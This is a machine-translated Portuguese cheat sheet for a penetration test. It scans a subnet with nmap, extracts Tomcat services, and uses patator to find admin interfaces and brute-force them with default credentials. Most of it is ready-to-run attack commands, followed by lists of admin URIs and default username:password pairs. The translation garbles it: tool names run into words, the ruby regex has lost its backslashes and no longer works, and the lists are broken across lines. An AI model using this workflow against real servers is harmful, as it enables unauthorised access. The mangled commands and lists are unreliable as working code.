Automatizando verificações de senhas fracas do Tomcat

Verificar as instalações do Tomcat em busca de senhas fracas é muito trabalhoso, mas geralmente compensa parte de qualquer teste interno. Aqui está uma folha de dicas rápida e desagradável que usa o incrível Patator de Sebastien Macke para automatizar o processo.

Primeiro obtenha uma lista de serviços Tomcat de uma nmapvarredura. Certifique-se de que a digitalização foi salva no formato ‘grepable’ (por exemplo, -oGflag). Por exemplo:

nmap -sS -sV -sC -Pn -p80-89,443,8000-8999  192.168.0.0/24 -oG web-scan

Retire todas as instâncias do Tomcat do nmapresultado da varredura (sinto muito pelos deuses Regex / Ruby).

grep -i tomcat web-scan.gnmap | ruby -ne 'h = $_.match(/.*Host: ([d.]+)/)[1]; $_.scan(/(d+)/open/tcp//(ssl|http)[^,]+tomcat[^,]+/,/i).each {|x| x[1].gsub!(/ssl/,"https"); puts "#{x[1]}:#{h}:#{x[0]}"};' > tomcat-services.txt

Agora você terá uma lista de serviços Tomcat em scheme:address:portformato.

Use patatorpara identificar rapidamente quaisquer serviços Tomcat que tenham interfaces Admin expostas (consulte o final da página para URIs Admin do Tomcat).

patator.py http_fuzz url=COMBO00://COMBO01:COMBO02/FILE1 0=tomcat-services.txt 1=tomcat-admin-uris.txt -x ignore_code=404 -x ignore_fgrep='administration web application is no longer installed by default' -l services

As interfaces de administração geralmente são aquelas que retornam 401 Unauthorizedmensagens de erro. Você também deve verificar manualmente as 200 OKrespostas.

Use greppara obter uma lista das interfaces de gerenciamento:

grep '401 Unauthorized' services/RESULTS.csv | cut -d',' -f6 > tomcat-admin-interfaces.txt

Agora você terá uma lista de serviços Tomcat em scheme:address:port:uriformato.

Use patatorpara verificar rapidamente a existência de senhas fracas (consulte o final do documento para obter uma lista de senhas Tomcat padrão):

./patator.py http_fuzz url=COMBO00://COMBO01:COMBO02/COMBO03 user_pass=COMBO10:COMBO11 0=tomcat-admin-interfaces.txt 1=tomcat-account-combos.txt -x ignore:code=403 -x ignore:code=401 -l accounts

O dia de pagamento estará nas 200 OKrespostas!


Arquivos de Suporte

Interfaces Administrativas Comuns

Uma lista de URIs para interfaces Admin do Tomcat comuns (por exemplo, tomcat-admin-uris.txtcomo usado acima).

status/
admin
/
web
-console/
jmx
-console/
admin
-console/
manager
/html
web
-console/Invoker
jmx
-console/HtmlAdaptor
invoker
/JMXInvokerServlet

Senhas padrão comuns

Lista de senhas padrão comuns para interfaces de administração do Tomcat (por exemplo, tomcat-account-combos.txtcomo acima). Créditos para Chris Sullo .

admin:
admin
:Password1
admin
:admin
admin
:j5Brn9
admin
:password
admin
:password1
admin
:tomcat
both
:tomcat
role1
:role1
role1
:tomcat
role
:changethis
root
:Password1
root
:changethis
root
:password
root
:password1
root
:r00t
root
:root
root
:toor
tomcat
:
tomcat
:Password1
tomcat
:admin
tomcat
:changethis
tomcat
:password
tomcat
:password1
tomcat
:tomcat